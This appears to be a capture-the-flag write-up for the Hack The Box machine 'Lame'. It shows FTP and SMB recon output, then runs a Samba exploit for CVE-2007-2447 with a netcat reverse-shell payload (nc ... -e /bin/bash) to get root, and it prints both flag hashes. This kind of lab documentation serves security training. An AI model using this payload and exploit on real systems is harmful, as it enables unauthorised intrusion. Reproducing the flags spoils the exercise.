Lame
Recon
FTP (21)
FTP 2.3.4 version is famous for having a backdoor and straight up root shell, but exploit doesn't seem to work..
└─$ ftp 10.10.10.3
Connected to 10.10.10.3.
220 (vsFTPd 2.3.4)
Name (10.10.10.3:woyag): uwu:)
331 Please specify the password.
Password:
500 OOPS: priv_sock_get_result
ftp: Login failedConnecting anonymously yields no results, ftp is empty.
SMB (139/445)
└─$ netexec smb 10.10.10.3 -u '' -p '' --shares
SMB 10.10.10.3 445 LAME [*] Unix (name:LAME) (domain:hackthebox.gr) (signing:False) (SMBv1:True)
SMB 10.10.10.3 445 LAME [+] hackthebox.gr\:
SMB 10.10.10.3 445 LAME [*] Enumerated shares
SMB 10.10.10.3 445 LAME Share Permissions Remark
SMB 10.10.10.3 445 LAME ----- ----------- ------
SMB 10.10.10.3 445 LAME print$ Printer Drivers
SMB 10.10.10.3 445 LAME tmp READ,WRITE oh noes!
SMB 10.10.10.3 445 LAME opt
SMB 10.10.10.3 445 LAME IPC$ IPC Service (lame server (Samba 3.0.20-Debian))
SMB 10.10.10.3 445 LAME ADMIN$ IPC Service (lame server (Samba 3.0.20-Debian))└─$ smbclient -N //10.10.10.3/opt
Anonymous login successful
tree connect failed: NT_STATUS_ACCESS_DENIED
┌──(woyag㉿kraken)-[~/Desktop/Rooms/Lame]
└─$ smbclient -N //10.10.10.3/tmp
Anonymous login successful
Try "help" to get a list of possible commands.
smb: \> ls
. D 0 Sat Jul 27 16:06:06 2024
.. DR 0 Sat Oct 31 02:33:58 2020
orbit-makis DR 0 Sat Jul 27 06:25:31 2024
odgdkw N 0 Sat Jul 27 12:18:32 2024
.ICE-unix DH 0 Fri Jul 26 16:14:16 2024
vmware-root DR 0 Fri Jul 26 16:15:02 2024
WFGYOZHNLE D 0 Fri Jul 26 16:24:49 2024
.X11-unix DH 0 Fri Jul 26 16:14:42 2024
gconfd-makis DR 0 Sat Jul 27 06:25:31 2024
.X0-lock HR 11 Fri Jul 26 16:14:42 2024
bojtot N 0 Fri Jul 26 16:58:42 2024
5555.jsvc_up R 0 Fri Jul 26 16:15:18 2024
vgauthsvclog.txt.0 R 1600 Fri Jul 26 16:14:15 2024
7282168 blocks of size 1024. 5385656 blocks available
smb: \> recurse
smb: \> prompt
smb: \> mget *
getting file \odgdkw of size 0 as odgdkw (0.0 KiloBytes/sec) (average 0.0 KiloBytes/sec)
getting file \.X0-lock of size 11 as .X0-lock (0.0 KiloBytes/sec) (average 0.0 KiloBytes/sec)
getting file \bojtot of size 0 as bojtot (0.0 KiloBytes/sec) (average 0.0 KiloBytes/sec)
NT_STATUS_ACCESS_DENIED opening remote file \5555.jsvc_up
getting file \vgauthsvclog.txt.0 of size 1600 as vgauthsvclog.txt.0 (5.0 KiloBytes/sec) (average 1.4 KiloBytes/sec)
NT_STATUS_ACCESS_DENIED listing \orbit-makis\*
NT_STATUS_ACCESS_DENIED listing \vmware-root\*
NT_STATUS_ACCESS_DENIED opening remote file \.X11-unix\X0
NT_STATUS_ACCESS_DENIED listing \gconfd-makis\*
└─$ find . -empty -delete
└─$ lta
drwxr-xr-x - woyag 27 Jul 16:06 .
.rw-r--r-- 1.6k woyag 27 Jul 16:05 └── vgauthsvclog.txt.0
┌──(woyag㉿kraken)-[~/Desktop/Rooms/Lame/smb]
└─$ bat vgauthsvclog.txt.0
───────┬───────────────────────────────────────────────────────────────────
│ File: vgauthsvclog.txt.0
───────┼───────────────────────────────────────────────────────────────────
1 │ [Jul 26 16:14:14.744] [ message] [VGAuthService] VGAuthService 'build-4448496' logging at level 'normal'
2 │ [Jul 26 16:14:14.744] [ message] [VGAuthService] Pref_LogAllEntries: 1 preference groups in file '/etc/vmware-tools/vgauth.conf'
3 │ [Jul 26 16:14:14.744] [ message] [VGAuthService] Group 'service'
4 │ [Jul 26 16:14:14.744] [ message] [VGAuthService] samlSchemaDir=/usr/lib/vmware-vgauth/schemas
5 │ [Jul 26 16:14:14.744] [ message] [VGAuthService] Pref_LogAllEntries: End of preferences
6 │ [Jul 26 16:14:15.094] [ message] [VGAuthService] VGAuthService 'build-4448496' logging at level 'normal'
7 │ [Jul 26 16:14:15.095] [ message] [VGAuthService] Pref_LogAllEntries: 1 preference groups in file '/etc/vmware-tools/vgauth.conf'
8 │ [Jul 26 16:14:15.095] [ message] [VGAuthService] Group 'service'
9 │ [Jul 26 16:14:15.095] [ message] [VGAuthService] samlSchemaDir=/usr/lib/vmware-vgauth/schemas
10 │ [Jul 26 16:14:15.095] [ message] [VGAuthService] Pref_LogAllEntries: End of preferences
11 │ [Jul 26 16:14:15.095] [ message] [VGAuthService] Cannot load message catalog for domain 'VGAuthService', language 'C', catalog dir '.'.
12 │ [Jul 26 16:14:15.095] [ message] [VGAuthService] INIT SERVICE
13 │ [Jul 26 16:14:15.095] [ message] [VGAuthService] Using '/var/lib/vmware/VGAuth/aliasStore' for alias store root directory
14 │ [Jul 26 16:14:15.174] [ message] [VGAuthService] SAMLCreateAndPopulateGrammarPool: Using '/usr/lib/vmware-vgauth/schemas' for SAML schemas
15 │ [Jul 26 16:14:15.304] [ message] [VGAuthService] SAML_Init: Allowing 300 of clock skew for SAML date validation
16 │ [Jul 26 16:14:15.304] [ message] [VGAuthService] BEGIN SERVICE
───────┴───────────────────────────────────────────────────────────────────The version of SMB 3.0.20 seems to be vulnerable to CVE-2007-2447-in-Python
└─$ py smbExploit.py 10.10.10.3 139 'nc 10.10.14.37 4444 -e /bin/bash'
[*] Sending the payload
---
└─$ listen
Ncat: Connection from 10.10.10.3:43005.
id # <- PS1 not visible
uid=0(root) gid=0(root)Flags (from SMB)
cat /root/root.txt
05e0bd6ef0c84daaa82120cb3f5a8968
cat /home/makis/user.txt
31bc2e4d6bab2ae2d559bf08f7995c29Last updated